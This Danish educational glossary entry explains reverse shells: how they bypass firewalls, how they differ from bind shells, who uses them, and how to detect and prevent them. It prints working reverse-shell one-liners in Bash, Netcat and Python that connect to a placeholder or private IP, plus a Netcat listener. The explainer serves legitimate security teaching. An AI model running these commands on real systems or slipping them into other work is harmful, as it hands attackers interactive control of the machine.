Reverse Shell
TL;DR: Reverse Shell
En reverse shell, også kendt som en connect-back shell, er når et kompromitteret system forbinder til angriberen og giver dem en live kommandolinjesession.
Hvorfor er dette vigtigt?
- Reverse shells kan omgå firewalls da de fleste firewalls blokerer indgående forbindelser, men tillader udgående.
- Angribere får reel kontrol fordi de kan køre kommandoer, som om de er logget ind direkte.
- Reverse shells er meget almindelige da de er et standardtrin efter en angriber udnytter et system.
Forestil dig det sådan: i stedet for at angriberen prøver at komme ind, narrer de serveren til at række ud til dem.
Hvad er en Reverse Shell?
En reverse shell er en fjernshell, hvor offerets computer starter forbindelsen til angriberens computer.
Normalt starter din computer forbindelsen, som når du besøger en hjemmeside. Med en reverse shell er dette omvendt. Efter angriberen finder en måde at køre kode på, forbinder serveren tilbage til angriberen.
En nem måde at huske det på:
- Bind shell: Du prøver at forbinde til serveren. Hvis en firewall blokerer dig, kan du ikke komme igennem.
- Reverse shell: Serveren forbinder til dig. Da udgående forbindelser normalt er tilladt, kan du svare og tage kontrol.
Hvorfor Reverse Shells er Vigtige
Sikkerhedsteams fokuserer normalt på forsvar som firewalls, load balancers og begrænsning af porte. Disse fungerer, indtil en angriber formår at køre kode inde i systemet.
Når det sker, bliver reverse shell angriberens hovedmetode til at blive inde.
Hvorfor er dette farligt:
-
Udgående trafik er betroet.
Firewalls tillader ofte udgående trafik på porte som 80 eller 443 for opdateringer og API’er. Omvendte skaller kan skjule sig i denne tilladte trafik.
-
Angribere kan opretholde adgang.
Selv hvis det oprindelige sikkerhedshul er lukket, kan en aktiv skal stadig give angribere kontrol over systemet.
-
Det muliggør lateral bevægelse.
Med en skal kan angribere undersøge det interne netværk, stjæle adgangskoder og bevæge sig til andre computere. Én sårbarhed kan hurtigt føre til, at hele miljøet kompromitteres.
Hvordan en Omvendt Skal Fungerer
En omvendt skal har to hoveddele: lytteren og payloaden.
1. Lytteren (Angriber Side)
Angriberen bruger et program, der venter på forbindelser. Netcat er et almindeligt værktøj til dette.
nc -lvnp 4444
Denne kommando fortæller angriberens computer at lytte på port 4444 og vente på en forbindelse.
2. Payloaden (Offer Side)
Efter at have fundet en sårbarhed som Remote Code Execution, kører angriberen en kommando på offerets server for at åbne en skal og sende den tilbage.
bash -i >& /dev/tcp/angriber-ip/4444 0>&1
Denne kommando starter en bash-skal og sender al input og output til angriberens computer.
3. Forbindelsen
Offerets server starter en udgående forbindelse. Firewallen ser dette som normalt og tillader det. Angriberens lytter accepterer forbindelsen, hvilket giver angriberen en live skal på serveren.
På dette tidspunkt har angriberen fuld interaktiv kontrol over serveren.
Almindelige Eksempler på Omvendte Skaller
Angribere og etiske hackere tilpasser deres tilgang baseret på hvilke værktøjer der er tilgængelige på målsystemet.
Bash (Almindelig på Linux)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Bruges når Netcat er tilgængelig på målmaskinen.
nc -e /bin/sh 10.0.0.1 4444
Python
Python er meget almindelig på moderne servere.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverse Shell vs Bind Shell
At kende forskellen mellem reverse shells og bind shells hjælper med at forsvare netværk.
| Funktion | Bind Shell | Reverse Shell |
|---|---|---|
| Forbindelsesretning | Angriber til Offer | Offer til Angriber |
| Firewall indvirkning | Ofte blokeret | Ofte tilladt |
| Netværkskrav | Direkte adgang nødvendig | Fungerer gennem NAT og firewalls |
| Typisk brugssag | Interne netværk | Virkelige angreb |
Hvem bruger Reverse Shells?
- Penetrationstestere bruger reverse shells til at bevise, at en sårbarhed kan føre til fuld systemkompromittering.
- Red teams bruger reverse shells til at teste, hvor godt udgående trafik kontrolleres.
- Ondsindede aktører bruger reverse shells til at implementere ransomware, stjæle data eller bevæge sig længere ind i et netværk.
- Systemadministratorer bruger sjældent reverse shells til fjernadgang. De foretrækker normalt sikre SSH-tunneler.
Detektion og Forebyggelse
At stoppe reverse shells kræver flere lag af forsvar.
-
Udgående trafikfiltrering
Servere bør ikke have åben adgang til internettet. Begræns hvilke destinationer og porte de kan bruge.
-
Adfærdsmonitorering
En webserver, der starter en shell-proces, såsom /bin/bash eller cmd.exe, er meget mistænkelig.
-
Reducer angrebsfladen.
Fjern ubrugte værktøjer som Netcat, kompilatorer og ekstra tolke fra produktionssystemer.
Relaterede Termer
- Fjernkodeudførelse (RCE)
- Bind Shell
FAQ: Reverse Shell
Er en reverse shell ulovlig?
Reverse shells er kun lovlige, hvis du bruger dem på systemer, du ejer eller har klar tilladelse til at teste. Brug af dem uden tilladelse er ulovligt.
Hvorfor tillader firewalls reverse shells?
Firewalls er bygget til at blokere indkommende trusler og stoler normalt på udgående trafik. Reverse shells udnytter dette.
Kan et antivirus opdage reverse shells?
Nogle gange. Antivirussoftware, der bruger signaturer, kan finde kendte shell-programmer, men filfri shells lavet med Bash eller Python er meget sværere at opdage.
Hvad er forskellen mellem en reverse shell og en webshell?
En webshell bruges gennem en browser og forbliver normalt på systemet, men har begrænsede funktioner. En reverse shell giver en live, interaktiv kommandolinjesession.